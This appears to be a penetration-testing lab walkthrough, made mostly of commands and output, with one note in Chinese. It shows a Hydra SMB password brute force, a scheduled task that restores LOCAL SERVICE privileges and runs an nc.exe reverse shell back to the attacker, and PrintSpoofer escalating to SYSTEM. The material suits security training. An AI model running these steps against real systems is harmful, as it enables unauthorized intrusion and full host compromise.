hydra -L /usr/share/wordlists/dirb/others/names.txt -P /usr/share/wordlists/rockyou.txt smb://192.168.212.189 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, orfor illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-1921:08:23 [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) [DATA] max1 task per 1 server, overall 1 task, 123462242193 login tries (l:8607/p:14344399), ~123462242193 tries per task [DATA] attacking smb://192.168.212.189:445/ [ERROR] invalid reply from target smb://192.168.212.189:445/
查看权限，发现有些权限缺失了，通过文章 发现 local service or network service被配置为受限的权限 restricted set of privileges *, *完整的权限可以通过 scheduled task获取
1 2 3 4 5 6 7 8 9 10 11
PS C:\wamp\www>whoami /priv whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Ncat: Connection from 192.168.120.223. Ncat: Connection from 192.168.120.223:50828. Microsoft Windows [Version10.0.17763.2300] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /priv whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ================================== ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeSystemtimePrivilege Change the system time Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
# Create a list of privileges PS C:\Windows\system32> [System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"
# Create a Principal for the task PS C:\Windows\system32> $TaskPrincipal = New-ScheduledTaskPrincipal-UserId"LOCALSERVICE"-LogonType ServiceAccount -RequiredPrivilege$Privs
# Create an action for the task PS C:\Windows\system32> $TaskAction = New-ScheduledTaskAction-Execute"powershell.exe"-Argument"-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.118.23 4444 -e cmd.exe`""
# Create the task PS C:\Windows\system32> Register-ScheduledTask-Action$TaskAction-TaskName"GrantAllPerms"-Principal$TaskPrincipal
TaskPath TaskName State --------------------- \ GrantAllPerms Ready
# Start the task PS C:\Windows\system32> Start-ScheduledTask-TaskName"GrantAllPerms"
┌──(kali㉿kali)-[~] └─$ nc -lvnp4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 192.168.120.223. Ncat: Connection from 192.168.120.223:50883. Microsoft Windows [Version10.0.17763.2300] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /priv whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
# Checking SeImpersonatePrivilege abuse C:\wamp\www>PrintSpoofer64.exe -i-c"cmd /c whoami" PrintSpoofer64.exe -i-c"cmd /c whoami" [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK nt authority\system
# Creating a new SYSTEM process in our current console C:\wamp\www>PrintSpoofer64.exe -i-c"cmd /c cmd.exe" PrintSpoofer64.exe -i-c"cmd /c cmd.exe" [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version10.0.17763.2300] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system